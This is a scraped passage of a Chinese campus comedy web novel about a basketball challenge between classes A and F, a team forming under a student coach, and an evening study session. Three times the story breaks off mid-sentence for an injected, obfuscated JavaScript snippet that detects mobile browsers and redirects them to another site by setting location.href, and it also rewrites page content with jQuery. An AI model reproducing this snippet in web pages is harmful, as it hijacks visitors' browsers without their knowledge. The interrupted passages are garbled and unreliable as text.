“啊哈哈哈哈!”纪小鱼猖狂地大笑道,“提神?想得美!何非亮,等会晚自习您就安心地睡吧!” “咕噜咕噜。”纪小鱼如同牛饮般的把整瓶咖啡干了。 “……”何非亮掂了掂自己轻飘飘的咖啡杯,面色怪异地瞅了瞅纪小鱼——不是吧?这么一大杯,就这么“咕噜咕噜”一口喝光了,您就是传说中的牛咕噜氏吧? “嗝~”纪小牛打了个嗝,嘴里顿时泛满了浓郁的苦涩,再也忍不住,吐着舌头干呕了几声,软绵绵地瘫倒在了桌上。 他皱着鼻子,有气无力地发出行将就木的残喘,“啊,我要死了。” 何非亮眉梢动了动,叹了口气,向纪小鱼投去了怜悯的目光,无奈道,“纪小鱼,你这又是何苦呢?” 纪小鱼倔强地伸出一根手指,“吃得苦中苦,方为……呃……” 他脖子一歪,吐着舌头昏了过去。 班级的后门外突然传来一阵喧哗,“不好了,不好了!” “怎么了?怎么了?”纪小鱼从垂死病中惊坐起,“发生什么事了?” “哎呦,”蒋小胖跌跌撞撞地跑进来,“不好了,我们班的人快要和F班的人打起来了!纪小鱼、何非亮你们要不要去看看?” “什么?”作为副班长的纪小鱼当然义不容辞,他从椅子上弹了起来,“岂有此理,打架竟然不叫我?走走走!” 身为班长的何非亮也起身跟上,目光凝了凝,“怎么回事?” “大概就是,”蒋小胖一边走一边气喘吁吁地解释,“下周不是有篮球班赛吗?我们班那几个,一下课就赶去篮球场占场子练球了。结果F班的人来晚了,却说我们班的人打球这么菜,就别占着位置了,赶紧给他们腾块地儿。” “什么,还有这种事?”纪小鱼义愤填膺,“这也太嚣张了吧!” “就是啊!”蒋小胖应和道,“先来后到,明明是我们班先来的,凭什么给他们让啊!” “小胖,”纪小鱼有点困惑,“我们班的人打球很菜吗?” “啊这……”高情商的蒋小胖抹了一把汗,“也不能说很菜,但是和F班的比起来,我们的人进步空间还是要更大一点的。” …… 很快,纪小鱼一行人就赶到了篮球场。 纪小鱼分开凑热闹的人群,从中挤了进去,嘴上不忘嚷嚷,“F班的!要打架,冲我来!” “冲你来?” F班不愧是F班,这帮体育生看着就和别人不一样——各个都比他们班的人大上了一圈。 为首的那个松了松肩膀,活动了一下肌肉虬结的胳膊,目光直勾勾地盯向纪小鱼,“你说,冲你来?” 身后跟着的小弟也缓缓逼近了些,不怀好意地掰弄着指关节,要笑不笑地把视线落在了纪小鱼的脖颈,看上去十分具有威胁性的样子。 纪小鱼:“……” 不是吧,我没看错吧,刚才那位眼角闪过的,怎么看上去那么像是传说中【嗜血の光芒】? 哇,各位大哥,你们是不是走错片场了啊? 这里是轻松校园文啊! “呃……”纪小鱼在众目睽睽之下清了清嗓子,梗着脖子,义正言辞地说,“打什么打!大家都是同学,有什么话不能好好说吗?” “切,”F班的带头大哥一脸不屑,“这里有你说话的地儿吗?” A班的体育委员兼篮球队队长吕天明往前踏出一步,涨红着一张脸,“小鱼,和他们这些野蛮人有什么好说的,F班的摆明了就是不讲道理!” “道理?”F班的带头大哥一声嗤笑,“我们怎么没有道理了?你们A班学习最好,所以学校把最好的教学资源都给了你们A班,我们没意见。可是我们班体育最好,众所周知。所以——也应该把篮球场让给我们用吧?” F班的其他队员也跟着起哄,“就是就是!总不可能什么好处都被你们A班给占了吧?” “反正就你们A班打篮球的这个菜鸡水平,练一辈子也不可能赢的!八成是首轮淘汰!还是别在这里丢人现眼了!” “就是啊,这次校运会,你们班只得了一块金牌吧?就那还是我们都懒得去参加的1500米。” “哈哈哈哈哈哈!我不是针对谁,我是说除了学习,A班的各位都是垃圾!” 士可杀,不可辱! 吕天明再也忍不了了,一拳挥出,向F班的篮球队队长的肩上砸去,“陈典,你去死!” 噢! 纪小鱼想起来了,原来眼前这个领头闹事的,就是在校运会女装摇摆的那位巨佬——F班班长陈典! 陈典一把扣住吕天明的手腕,朝着吃瓜群众挑眉,摆出了一副戏谑的神色,“哎,他急了,他急了!大家快看,他急了!” “哈哈哈哈哈!”许多围观的群众们也被逗乐了。 两班的篮球队队员眼里都冒着火,战争一触即发。 “谁说我们班是菜鸡,看好了!” 纪小鱼沉着脸站在三分线外,声音清朗,一下子就把所有人的视线都吸引了过去。 他掂起滚落在脚边的蓝球,抬手,一个漂亮的远投。 在重力和水平力的作用下,抛射物体的轨迹在理想状态下会形成一条抛物线,投球自然也不例外。 这也就意味着,在这个被万有引力支配的世界,谁能够精准地控制抛物线,谁就是 the King of Basketball! 就在刚才的一分钟里,根据抛物线的轨迹方程,结合重力、空气阻力和地转偏向力,我,纪小鱼,已经心算好了篮球入网所需要的完美弧度! 啊哈哈哈哈! 不要崇拜哥,哥只是个传说! “哐当”一声,球重重地砸在篮筐的金属架上,擦着球筐的边沿被弹飞,在碧空万里中划过一道令人心碎的弧线。 完蛋,装逼失败!!! 纪小鱼在心里低声骂了一句“诶呦,我去!” 然而—— “看到了吗?”纪小鱼临危不乱,气焰不减,“谁再说我们班菜,我就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894091|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,头都给他打掉!” 全场雅雀无声,只剩下球框仍在不住地发出金属的嗡鸣,威慑力十足。 “好!”蒋小胖第一个反应过来,带头鼓掌。 何非亮唇角勾起一点云淡风轻的弧度,也跟着拍了拍手。 …… A班和F班最终还是立下了战书。 由F班提出来,输的人要绕操场蛙跳一圈,并且要一边跑一边学猪叫,一边喊“我是猪!” “猪怎么叫啊?”纪小鱼向陈典虚心请教。 “这都不会?我就说你们A班的是一群只会死读书的呆子,一点常识都没有!”陈典满脸不屑,“听好了!‘吭嗤吭嗤嚯嚯’……” “厉害!”纪小鱼一脸惊奇地冲陈典竖起大拇指,“这方面您是专业的!” “那必须啊!”陈典猖狂地笑了几声,发现周围的人都在抿着嘴偷笑,终于反应过来,冲上去要揍纪小鱼,被何非亮伸手拦住了。 “既然这是一场堂堂正正的比赛,如果F班使用武力,岂不是代表了F班心虚?” “心虚?笑话!我们怎么可能对你们这种菜鸡心虚?”这么说着,陈典身上的刺却收敛了起来,没有再企图动手了。 何非亮不慌不忙地继续说道,“既然这是一场证明自己的比赛,那么在比赛结果出来之前,没有任何理由可以表明对方比较菜。” 陈典挠挠头,和小弟们面面相觑,“好像是有点道理。” “好!”陈典答应得倒也豪爽,“那在比赛结果出来之前,就先不骂了。” A班和F班的战书下添上约法三章—— 在比赛结果出来前: (1)任何一方不得诉诸武力。 (2)双方应当站在平等的基础上对话。 (3)球场的使用权应当遵循先来后到。 …… 陈典带着一众小弟们大摇大摆地走了。 球场上又恢复了往日的平静。 日影西斜,青春正好。 只有好几个女生舍不得离开,沿着球场的边沿,从这走头散步到那头,又从那头散步到这头,时不时地投来深情的一瞥……并且此队伍隐隐有逐渐壮大之趋势。 大家的目光如此的热情,就算是想忽视也忽视不掉了。纪小鱼的脸有些发烫,不动声色地调整了一下站姿。 迎风而立,衣袂翩翩。 晚风轻轻撩起纪小鱼黑亮的额发,夕阳沿着他秀挺的鼻梁镀上了一层熠熠的金芒,衬得他的皮肤比平日还要白皙透亮。 “小胖,”纪小鱼摆出一副高深莫测的神情,“你再仔细瞧瞧,吾与何非亮孰美啊?” 何非亮似笑非笑地弯了弯唇角。 “诶?小胖?小胖呢?”没听见声,纪小鱼左右张望了一下,这才发现蒋小胖那么大一个人不知道什么时候不见了,“奇怪,小胖跑哪去了?” “啊!那不是纪小鱼吗?” 正疑惑间,纪小鱼耳朵突然动了动,敏锐地捕捉到了一声顺着风吹来的惊呼,有点不好意思地搔了搔脸。 没办法,帅这种东西写在脸上,想低调也低调不来啊! 那惊呼还有后续,像压抑着无数悸动却仍旧是情不自禁的感叹,“他旁边的何非亮好帅啊!” 纪小鱼:“……” 19.第十九章 不懂就问 蒋小胖抱着一堆运动饮料摇摇摆摆地跑了过来,看见纪小鱼,有点莫名奇妙,“纪小鱼,你怎么流眼泪了?” 纪小鱼一脸沉痛地摆摆手,“风大,沙子迷了眼睛。” “别装了,咱俩认识这么多年了,”蒋小胖哈哈大笑,大方地把胳膊肘里圈着的运动饮料朝纪小鱼递了递,“你一定是被我感动了!” “去!去!”纪小鱼一脸嫌弃,但身体还是非常正直,毫不客气地拿起一瓶,咕噜噜地往嘴里灌。 冰凉、清爽、心飞扬! 但还是肥宅快乐水更胜一筹…… “刚才真是谢谢你们了!”队长吕天明真诚道谢,目光亮闪闪地注视着纪小鱼,“好兄弟,你刚才那一手实在是太强了!要不要加入我们篮球队,我们一起,打爆他们F班?” “啊?我吗?哈哈哈哈哈!”纪小鱼有点不好意思地笑了笑,见篮球队的其他队员也目光灼灼、一脸期盼地望着他,忍不住豪情万丈地立下flag,“那必须啊!打爆F班,我纪小鱼义不容辞!” “太好了!”吕天明对身后的一众队员们宣布,“大家听好,以后纪小鱼就是我们篮球队的副队长了!” 大家齐齐鼓掌,欢迎纪小鱼的加入。 纪小鱼心里暖暖的,有点感动——这种被信任的感觉真好。 你看,就没有人找何非—— “教练!”吕天明突然一步跨出,两只手一把握住了何非亮的双腕,几乎要半跪下了,“我想赢!” 纪小鱼看傻了,脑海中浮现出了一大串小问号。 啥?……啥情况?何非亮什么时候成了教练了? 不是,战术指挥什么的,我纪小鱼也会啊! 就算现在不会,我还可以学呀! 我学东西很快的! 何非亮把吕天明扶了起来,矜持地点头,“不妨智取。” 吕天明转向身,看着大家,激动地开口,“诸位,给大家介绍一下,何非亮同学就是我们队新任的教练了!跟着亮哥混,别说F班了,就是沪市鲨鱼队、粤省老虎队、首都烤鸭队,那也……” 何非亮淡淡地扫了吕天明一眼,打断了他,“不要膨胀。” “对对对,猥琐发育、猥琐发育!”吕天明顿时老实起来,和其他队员们站成一列,“请教练指示!” 其他队员们也异口同声地应和,“请教练指示!” 喂! 纪小鱼几乎要昏阙。 这演得是哪一出啊? 完蛋,何非亮做教练!? 那以后不会是要听他指挥了吧? 可以不要吗? 何非亮像看不到纪小鱼的挣扎一样,平和地开口,“大家先自我介绍一下,平时都打什么位置。” 呵呵! 纪小鱼在心里冷哼一声,这个何非亮,进入角色倒进入的很快嘛! 吕天明:“我打遍全场!” 张思源:“我拿球就射!” 卢浩云:“我灌篮高手!” “我……我……”刘子杉小声地嗫嚅道,“我不想打了……” “什么?”吕天明震惊,“你不想打了?” “我本来就是想随便打打……谁知道……” 在众人惊异的目光之下,刘子杉低头抿了抿唇。他刚才默默地盘算了一番,这样和F班较上劲以后,势必要拿出很多时间来训练,肯定会打乱原本的学习计划…… 之前愿意加入,一方面是想要在学习之余锻炼一下身体,自己刚好也挺喜欢篮球的;另一方面是由于吕天明是他的同桌兼室友,在吕天明的盛情邀请之下,他也不想显得那么不合群。 但不管怎么说,理智还是提醒他——清醒一点,高中生的首要任务还是学习不是吗?这次的期末考试可是关系到下一轮的分班,也就还剩这么两个多月了。 篮球打得再好,分班考能加分吗?高考能加分吗? 而且,咳,再说了,自己的球队啥水平自己知道……他可不想为了一场必输的意气之争,当着全校同学的面在操场上学猪叫,丢死人了。要是被某人看到了……呃,光是想想就觉得太可怕了! “抱歉!”刘子杉抓起书包,头也不回地走了。 背影在一瞬间有些仓皇。 气氛因为这个插曲突然变得有点沉闷,但大家都是同学,还是不约而同地对刘子杉的离队表示尊重。 “这哥们,”吕天明笑了笑,“不打了也把那双限量版的球鞋留下来啊。” 刘子杉脚上那双鞋红黑相间,酷得不行,像火龙卷烧过黑夜,放在游戏里那至少也得是稀有紫装,简直是少年人的梦想。 “是啊。”纪小鱼低头瞅了瞅自己脚上“特价特价,55买不了吃亏买不了上当”的给力牌运动鞋,也轻微的羡慕了。 卢浩云缓过神来,连忙往旁边跨出一小步,填补了原本刘子杉的位置,用肩膀怼了怼一旁呆站着的徐帆,低声提醒道,“到你了!” “哦哦,”徐帆扶了扶眼镜,慌慌张张地回答,“我……我有待加强。” 他个子比较小,却有一个篮球梦,偶像本来是斯蒂芬·库里,但得知库里的真实身高1米91后,改粉了“小虫”博格斯——这位1米6的控卫是NBA史上最矮的球员,却每每能够在赛场上疾驰如电,令对手防不胜防[1]。 轮到纪小鱼了,他偷偷在心里朝何非亮翻了个白眼,BGM响起—— 崩次打次、崩次打次! My name is 纪小鱼,我比你牛逼! My name is 纪小鱼,我全能冠军! …… 这种不爽毫不掩饰地漏在了脸上,纪小鱼叉着腰,一点面子也不给,“我不懂就问!凭什么你可以当教练啊?” 纪小鱼从吕天明手里夺过篮球,大剌剌地往何非亮手上一塞,“有本事你投一个!” 哦,是吗? 何非亮低头看着手上的篮球,嘴角荡起一点无奈的浅笑,拍着球后退了几步,站在三分线外举起球,“小鱼,看好了。” 何非亮手腕一沉,球旋转飞出,在半空中划过一道堪称完美的弧线,不偏不倚,空心入网。 这球还不用去捡,碰到篮球架底箱后乖乖地滚了回来,像长了眼睛一样,恰好滚到了纪小鱼的脚边。 就很嘲讽。 纪小鱼呆若木鸡,觉得脸有点疼。 啊咧? 小丑为什么又是我自己? “卧槽,”吕天明跪了,“亮哥牛逼,要不队长也给您吧?” “队长是谁不重要,有共同的目标才重要。”何非亮颔首思索片刻,“这样,也不早了,我们先抓紧时间打一下练练。” “诶,等等……”蒋小胖觉得风好萧瑟,被晾着的自己好孤单,鼓起勇气,眼巴巴地看着何非亮,“我、我也可以加入吗?” “哎呀,那么多废话干嘛?”纪小鱼把球往蒋小胖怀里一塞,“快来!” …… 学校的另一头,开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894092|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊学生餐厅。 “老大,我们不是去砸场子的吗?” 陈典正岔着腿吃红烧牛肉面,闻言从碗里抬起头来,不解道,“刚才不是去砸过了吗?” “砸过了吗?”大家面面相觑。 那怎么还是没有球打? 委屈…… 嘤嘤嘤…… 猛男落泪…… 不过此行也不是完全没有收获,至少和A班的人签下了一个不平等条约,当然,是对A班的人不平等。 一想到A班的人要在操场上学猪叫,大家就又快乐了。 “老大!那个什么……那个叫纪小鱼的好像有两把刷子。我们要不要派个人去看一下?” “大可不必。”陈典吸溜着面条嚼了两下,无所谓地耸耸肩,“以咱们F班的实力,他就算有五把刷子也不够用。” “老大说得对!”身旁的小弟连忙点头应和道,“再说了,抽签的结果今晚出吧?他们还不一定有机会能和我们打呢。” S中规模不大,高二只有A、B、C、D、E、F六个班,因此一共是6支队伍,抽签决定顺序和对手。 6进3以后,得分高的那一支队伍可以直接进入决赛。另外两支队伍则要多进行一轮的厮杀才能拿到决赛的门票。 一场定胜负,连个复活赛的机会都没有,这就有点考验运气了。 没办法,谁叫运气也是实力的一部分呢? “老大说的对!还不知道A班能不能苟到和我们打呢!” “A班的人也太狂了吧,竟然敢和我们立下战书!” “等着看A班人的笑话吧……” …… “好兄弟,接着!”吕天明把球传给纪小鱼。 篮球场上,A班的篮球队员正在紧锣密鼓地进行对抗练习。 “好咧!”纪小鱼接过球,手一扬,潇洒地把球高举过头。 众人屏息凝神,注意力全都转移到了纪小鱼手里的球上。 时间仿佛暂停了一般。 嗯…… 风吹过鼻尖,痒痒的。 麻雀叽叽喳喳地飞过。 操场上练习跑步的同学轻盈地掠过。 有人打了个喷嚏。 路过的云朵在地面上投下阴影,又悄然离开。 原来不是时间暂停了,是纪小鱼暂停了。 一秒…… 两秒…… 三秒…… 纪小鱼保持着高举着球的姿势不动,像齿轮突然卡顿的机器小鱼。 “呃……纪小鱼,”蒋小胖不明所以,问出了大家心中的疑惑,“你在干嘛?” “别吵,我在思考!” “啊?” 思考? 蒋小胖瞬间联想到了最近学到的知识点——意识是人脑特有的机能。 17世纪法国哲学家帕斯卡尔曾经说过,“人只不过是一根苇草,是自然界最脆弱的东西。但他是一根能思想的苇草……因此,我们的全部尊严就在于思想。[2]” 纪小鱼在思考,说明——他有人脑!他是一个高贵的人类! 又过了三秒,纪小鱼手中的球终于脱手而出。 “哐当”一声正中篮心! 纪小鱼觉得自己牛逼坏了,开心地叉了会腰。 何非亮没有参加训练,而是坐在一旁写写画画,三下两下就勾勒出来纪小鱼投球时的姿态,批注——“小鱼,法师,释放技能吟唱时间:8s。” …… 20.第二十章 柴爸炸鸡 一直到下午六点二十,球场的热闹才慢慢平息,大家回宿舍洗澡的洗澡,去食堂吃饭的吃饭。 纪小鱼出了一身汗,眼巴巴地也想洗个澡。 还好今天是周一,早上的晨会例行要求穿礼服。纪小鱼嫌衬衫西裤拘束,晨会一结束就赶紧换上了另外带的运动服。其他男同学也基本是这个操作。女同学就不一定了,因为秋冬季的礼服裙子说实话还挺好看的,水蓝色的衬衫更是把一张张清爽的脸衬得如出水芙蓉。 现在,纪小鱼只要再把晨会时穿过的衬衫换回来,将就着穿一下就行。 可是,就这么回班上拿衣服、又跑去体育馆的淋浴间冲了个战斗澡的功夫,一看表——哇,不是吧?怎么就六点五十了! 纪小鱼连忙赶去食堂。 然而,捂着饥肠辘辘肚子的他,站在食堂门口,终究是傻眼了。 学校的食堂,空空荡荡,连灯都关了。 “撒呱——撒呱——”一只鸟大笑地经过。天空中没有留下它的痕迹,却留下了它欠扁的声音。 纪小鱼可怜巴巴地眨了眨眼睛。 肚子饿饿…… 没有饭饭…… 难受、想哭…… 由于之前收到了家长的投诉,学校小卖部现在已经没有了【好吃の泡面】这种在广大家长心目中非常“邪恶”的食物了。 唉,只能去买一个【善良の面包】凑合了。 然而…… 纪小鱼抽了抽鼻子,他怎么好像闻到了一种比泡面还要更加“邪恶”的味道—— 好香啊! 是【金色传说の柴爸炸鸡】! 装着炸鸡的袋子在纪小鱼的鼻尖晃了晃,连带着那个声音也充满了诱惑力,“小鱼,想吃炸鸡吗?” 想!太想了! 但是天上怎么可能掉炸鸡呢? 更何况是何非亮手上的炸鸡呢? 一定有阴谋! 就算没有阴谋……咳,就这么说“想”,好像也有一点没有面子嚯…… 纪小鱼,坚持住,你是一个要面子的人! 心思百转间,纪小鱼咽了口口水,捂着打完球后格外空虚的肚子,矜持地微笑,“不好意思哦,不太想吃。” “真可惜,这可是柴爸炸鸡呢……”何非亮的声音听起来有点遗憾,但很快,他的声音就又振作了起来,“诶,小鱼说他不想吃,这一份给你吧小胖!” “谢谢小鱼、谢谢教练!”蒋小胖激动万分地接过炸鸡袋子,“太好了,这样我就有两份了!难怪爷爷总是说胖人有胖福!嘻嘻!?(ˊ?ˋ )? ” “啊?”纪小鱼懵了——这、这什么情况!蒋小胖是从哪里冒出来的? 就在他懵的这一瞬间,食堂的一张桌子已经被篮球队的成员占满了。大家眼前都摆着一份香喷喷的炸鸡,吃得不亦乐乎。 “开Party吗,你们?”纪小鱼瞪大了眼睛,“各位,七点钟要上晚自习啊!” 正说着,远处的教学楼传来了悠扬的上课铃声。 惨了,纪小鱼脸上一白,今天是严老师带晚自习吧! 大家……大家这是要造反,连严老师都不怕了吗?天啊,迟到的下场,在场的诸位难道还不清楚吗? “没事,”吕天明啃着炸鸡,含糊不清地说,“今晚高二年级全体老师开教职工大会,晚自习没人管。” 何非亮也坐下来,不紧不慢地吃起了炸鸡。只是他吃起来的样子,在一众人的狼吞虎咽之中显得格外的优雅。 “你们、你们……”纪小鱼眨了眨眼睛,看着眼前的场景,好久才干巴巴地挤出来了一句虚弱的感叹,“你们叛逆了啊……” “喂,”纪小鱼看着何非亮,仿佛还在做着最后的一丝挣扎,“何非亮,你可是班长啊,你不说点什么吗?” “嗯。等会回班的时候大家安静一点,别影响到其他同学学习。” “好哦!”大家纷纷应下。 何非亮看了看还傻愣愣站着的纪小鱼,好心地提醒了一句,“小鱼,你不想吃炸鸡的话,快去小卖部买个面包垫垫肚子吧,别饿着了。” “呵呵。”纪小鱼心一横,终于克服了对“晚自习迟到”的恐惧,大喇喇地坐在了何非亮对面的空位上,一把抓起他面前还剩的一块炸鸡,毫不客气地啃了起来。 炸鸡的表皮金黄酥脆,内里却鲜嫩多汁,咬一口,幸福指数仿佛火山喷发,迅速爆表。 真香! 纪小鱼一脸的纯纯满足。 然而,这份满足,似乎是建立在别人的不满之上的。 “诶,纪小鱼,”何非亮表示抗议,“你不是不吃吗?” 纪小鱼举着炸鸡,不屑地说,“你没学过唯物辩证法么?世界上的一切事物都处在运动、变化中。我刚刚不想吃,不代表我现在不想吃。” “那你别吃我的啊。你吃——”何非亮看了看旁边的小伙伴,自己也一时失言。 大家都风卷残云地把炸鸡吃得只剩骨头渣了,此时正懒懒地瘫在椅子上回味,“不愧是柴爸炸鸡啊!” “哈哈哈哈,”纪小鱼乐不可支,“何非亮,谁叫你装逼哦?吃得那么慢,怪谁?” …… 回到班上,果然老师不在。只是黑板上用来留作业的区块写得那是一个满满当当、密密麻麻、“暗无天日”。 经过了“校运会”的几天休闲,老师们仿佛有一种“报复性布置作业”的倾向。 又或者是,在今天无人看管的晚自习上,老师只好靠多留点作业管住年轻小同学们躁动的心灵。 不过,不知道是不是因为吃了一大块柴爸炸鸡和一整杯美式咖啡的原因,纪小鱼今天能量满满、效率奇佳、才思异常敏捷,刷题速度又上了一个台阶。虽然回来得晚了些,但还是才刚过了大半节晚自习就潇潇洒洒地把作业全都写完了! 哎呀呀! 今天作业如山堆, 聪明的我手一挥。 诶?是谁现在就写完了作业? 啊!是我自己! 纪小鱼东瞅瞅、西看看,目光最后不怀好意地落在了何非亮身上,笑容逐渐猥琐—— “何非亮,真漂亮,你看他这个小模样。” 何非亮随手拿了本课本,像拍苍蝇一样把纪小鱼拍到了桌上,“晚自习呢,安静点。” 纪小鱼被拍扁在课桌上,头顶一片金星,挣扎着说出了最后的遗言,“长得和猪有点像……” 十秒以后,纪小鱼满血复活。 哼,儿子打老子! 纪小Q气呼呼地剜了何非亮一眼,但在公德心的提醒之下,还是决定下课再找他算账。 先写写课外题吧。 “今天的幸运儿是哪一位呢?”纪小鱼闭上眼睛,在书包里摸索。 当当当当—— 嗯,运气不错,一抽就抽到了最喜欢的生物! 纪小鱼摊开题,深呼吸,开始奋笔疾书。 努力不一定有收获,但不努力凭什么想要收获呢? 尊重客观规律,发挥自己的主观能动性,不仅比较可靠,还很有成就感! 强推! 一节充实的晚自习匆匆过去,纪小鱼对了对答案。 红笔在题目上“唰唰”打勾,像疾风刮过劲草。 啊,真是太有成就感了! 对到最后,纪小鱼忍不住笑出声来——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896147|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>太棒啦太棒啦太棒太棒啦, 正确率达到了百分之百啦! 我真是一个小小的天才, 我为我自己喝彩! …… 对完答案,纪小鱼轻松惬意地起身活动了活动,打算去走廊上吹吹风refresh一下。 走到门口时,迎面碰上了正走进教室的吕天明。 “诶,这不是老吕吗?”纪小鱼热情地和吕天明打招呼。 “嘿!好兄弟!”吕天明也热情地回应,“我们篮球比赛第一轮的抽签结果出来了!” 纪小鱼连忙问,“怎么样、怎么样?运气还好吗?” 吕天明憨憨的脸上浮现了一丝从容的笑意,“不好也不差,差了也不怕。咱们有亮哥,还怕什么呢?”听着还挺顺口的。 纪小鱼:“……” 亮哥,谁? 怎么不说我鱼哥呢? 嗯,不行,鱼哥听起来不够霸气。 要说就得说,鱼霸! 诶,怎么听起来和浴霸一样?不行不行。 应该是纪霸! 嘿呀,纪霸就更不行了! 太不文明了! 烦死了! 都怪何非亮! 想到这,纪小鱼忍不住咬牙,幽怨地扭过头瞪向何非亮。 被幽怨目光持续攻击的何非亮:“???”——不好意思,我这是又错过了什么吗? “所以,”吕天明强行找回存在感,清了清嗓子,正式宣布道,“我们第一轮是和高二F班打!” “哦,高二F班啊……什么!”纪小鱼大惊失色,“你、你再说一遍???” “就是F班啊!”吕天明看上去对这一结果非常满意,“我们今天下午不是刚和他们立下战书了么?这就抽到了,你看这多巧!” “可是……”纪小鱼艰难地咽了口唾沫,“这、这也太太太太太倒霉了吧!” 这怎么可能呢! 纪小鱼陷入了一瞬间的混乱。 第一轮就和高二F班打,这也太不按套路出牌了吧!? 啊、不是,基本的操作不是应该先打一个不那么强的队,再打一个比不那么强的队再强上一点点的队…… 如此这般,历经种种磨难、艰辛和铺垫,队员之间的灵魂一次次地得到碰撞,实力也一步一步地得到升华,终于在最后紧张刺激的时刻,打败最强的F班,一举拿下篮球赛的总冠军。故事里不都是这么写的吗? 现在这种情况,岂不是、岂不是等于刚出新手村,就直接挑战满级BOSS? 这样真的可以吗? 纪小鱼低头瞧了瞧自己脚上的白板装备—— 呜呜呜,你看,这都还没来得及攒够钱充值呢! “怎么能说是倒霉呢?”吕天明显然对纪小鱼的这一看法有一些不同的意见,“好兄弟,你想啊,我们一次性就抽到了打F班,不是可以省去很多中间的波折吗?” “再说了,一鼓作气,再而衰,三而竭!我们现在打F班,正是士气正盛的时候!” “还有啊,F班的实力我们很容易就可以摸清楚,并依照他们的优势和弱点制定战术。可反过来,和F班打的那场,正是好兄弟你、还有亮哥的首秀!在他们还摸不清你们两个的厉害时,我们不就可以,利用这个信息差,杀他们一个措手不及吗!” 这一席话说得实在是有理有据,吕天明对此高兴地作出了总结,“哈哈哈哈哈!好兄弟你看,综合下来,我还觉得我们运气特别好呢!” “行,”纪小鱼拍了拍吕天明的肩膀,硬挤出了一个爽朗的笑容,“吕兄,你说的都对!” 反正签也是吕兄你抽的…… 21.第二十一章 找新朋友 纪小鱼若有所思地回到了座位上。 “喂!篮球赛抽签的结果出了!”纪小鱼也不出门活动了,打算立马和何非亮讨论讨论这个严肃的问题。 “我不叫喂。” 纪小鱼被这么呛了一下以后,心里的白眼差点翻到天上去了——何非亮还真是小心眼诶!和他讨论这么要紧的事情,他竟然还要先计较这么一个小小的称呼问题。天啊,这个也要计较哦? 没办法,纪小鱼只好先呼了口气,捏着嗓子阴阳怪气地说道,“亲爱的亮亮哥哥,晚上好~” “嗯,晚上好,”何非亮的视线这才从书本上挪开,要笑不笑地落在他身上,“干嘛?” 噫~不是吧? 纪小鱼鸡皮疙瘩都要掉一地了。 何非亮竟然真的好这口! 纪小鱼朝何非亮翻了个白眼,恢复了正常的语气,“你刚才听见没,我们第一轮就要和F班打诶!” 没想到,何非亮听了以后,却只是问了一个风马牛不相及的问题—— “你怕我吗?” “不怕!当然不怕!” “你连我都不怕,你怕F班干嘛?” 纪小鱼:“……” 何非亮淡定地开口道,“这叫战略上藐视,战术上重视。” “那你就光藐视了,你的战术呢?” “不急,”何非亮还是一副悠然自得的神情,好像一切尽在掌握中一般,“明天有节体育课,到时候再练练。” “哦豁?你确定明天体育课能上吗?” “确定。” “切!就算可以上……行,我倒要看看你有什么花招!你小心别阴沟里翻船!” “小鱼,”何非亮失笑,“我们现在可是荣辱与共的合作关系。” 纪小鱼倒吸一口冷气——对吼!他们现在可谓是一条绳上的蚂蚱,输了都要去操场上学猪叫的! 诶?何非亮学猪叫!怎么想一想还有点莫名的小激动呢…… 嘿嘿,是不是只要脸皮够厚,就能欣赏到何非亮学猪叫了? 唉,不行不行,这样岂不是会连累到吕兄、小胖和其他的同学! 绝对不行、绝对不行! 纪小鱼连忙打消了这个损人害己的念头。 突然有人推推他,“纪小鱼,门口有人找!” 纪小鱼回过神来,往后门看去。 门框边露出来人的半边身子。 纪小鱼愣了愣。 那不是B班的张朝嘛?他来干嘛? 不会是—— 纪小鱼艰难地咽了口唾沫,略微有点不安地偷偷瞥了眼何非亮,发现何非亮正似笑非笑地看着他。 “小鱼,又有新朋友了?” “你,”纪小鱼有点心虚,“你管我啊!” “没管你啊,新朋友找你,你看我干嘛?”何非亮仍然是一张要笑不笑的脸,他扬了扬下巴,撺掇道,“快去找你的新朋友啊。” “那、那我去了哦,你不许跟过来!” “哦?你们要商量机密?” “那也不关你的事!” 何非亮无奈地瞥了纪小鱼一眼,目光淡淡地收回到了课桌上摊着的书上,长长的睫毛掩住了眸光里沉浮的情绪。 “早点回来。战术上,有件事我要和你确认一下。” 纪小鱼知道何非亮说的是篮球的事情,低低地“哦”了一声。 - 走廊的拐角,两个鬼鬼祟祟的人影。 “咳,”纪小鱼有点紧张,“你找我什么事?” “纪兄,”张朝凑近了些,压低嗓音说道,“今天张校长的话,你都听到了吧?” “呃……” 纪小鱼无辜地眨了眨眼睛,面上掠过一丝尴尬。 不好意思,还真没在听。 “就是那个,”张朝提示了一下,“早恋容易影响学习。” 